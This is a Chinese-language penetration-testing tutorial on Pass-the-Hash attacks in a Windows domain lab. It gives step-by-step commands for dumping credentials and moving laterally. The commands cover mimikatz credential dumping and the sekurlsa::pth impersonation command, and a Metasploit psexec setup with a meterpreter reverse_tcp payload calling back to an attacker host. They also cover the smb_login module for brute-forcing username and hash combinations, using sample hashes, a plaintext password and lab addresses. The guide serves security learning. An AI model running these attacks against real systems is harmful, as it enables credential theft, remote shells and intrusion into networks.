简介
PASS The Hash 也叫Hash传递攻击,简称 PTH。用户登录可以不需要明文密码只需要获取到Hash 就可以登录目标系统。
在域中,用户登录的账号密码大都是相同的,所以攻击者可以通过Hash传递来尝试登录内网的其他计算机.通过使用哈希传递攻击,攻击者不需要破解密码散列值
原理
在windows系统中,通常会使用NTLM进行身份验证,在使用NTLM做身份验证时,不会使用明文密码作为身份验证,而是使用明文密码加密过的Hash值作为身份验证的凭据。攻击者可以直接通过LM Hash 和NTLM Hash 访问远程主机或服务,而不需要提供明文密码。
攻击方式
获取一台域主机的高(admin或者system)权限
利用mimikatz等工具导出hash
利用导出的hash尝试登录其他的域内主机
hash pth攻击
使用mimikatz 进行pth
在Windows Server 2012中打开mimikatz
privilege::debug
sekurlsa::msv
得到hash值为 4cb55ea6471d29ccbb2ce4cf00271fe3
但是在这里如果选择直接复制mimikatz中的信息的话,程序会直接卡死,所以可以选择开启日志
log
privilege::debug
sekurlsa::pth /user:Administrator /domain:mamor /ntlm:32ed87bdb5fdc5e9cba88547376818d4
运行完命令会弹出cmd.exe
成功访问到域内的另一台相同密码的机器的C盘
对于安装KB2871991补丁后的机器,无法使用常规的哈希传递进行横向移动,但是对于Administrator(SID为500的账号)的散列值仍可以进行哈希传递。也就是说只要SID为500的账号进行横向渗透时不会被该补丁所影响。
利用wmiexec.py进行pth攻击
下载地址:https://github.com/SecureAuthCorp/impacket
使用msf中的模块进行pth攻击
Psexec
环境:
Windows2012 192.168.0.161 10.10.0.161
kali 192.168.0.128
条件 :
- 开启445端口SMB服务(默认开启)
- 开启admin$共享
https://asecuritysite.com/encryption/lmhash
可以将密码转换为LM-Hash 和 NTLM-Hash (LMHASH:NTHASH 格式)
利用:
use exploit/windows/smb/psexec set RHOSTS 192.168.0.161 set payload windows/meterpreter/reverse_tcp(默认payload) set LPORT 4444 set LHOST 192.168.0.128 set SMBUSER Administrator set SMBPASS admin123! (设置密码明文或者hash值 来进行pth) set SMBDomain mamor exploit
SMB pth攻击
Metasploit有一个auxiliary辅助模块,可以通过SMB登录到网络中。这个模块需要用户名和hash字典,将收集的用户名和hash制作成了字典,去爆破有效的用户名和hash组合。当然如果有用户名 密码的字典也可以使用此模块进行爆破
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.0.157
set user_file /home/kali/Common/user.txt
set pass_file /home/kali/Common/password.txt
set smbdomain mamor
exploit
Reference
http://www.feidao.site/wordpress/?p=2084
https://www.cnblogs.com/zzjdbk/p/14507846.html
https://yoga7xm.top/2019/04/12/IPentest-domain3/
https://blog.csdn.net/zzlx123/article/details/103595197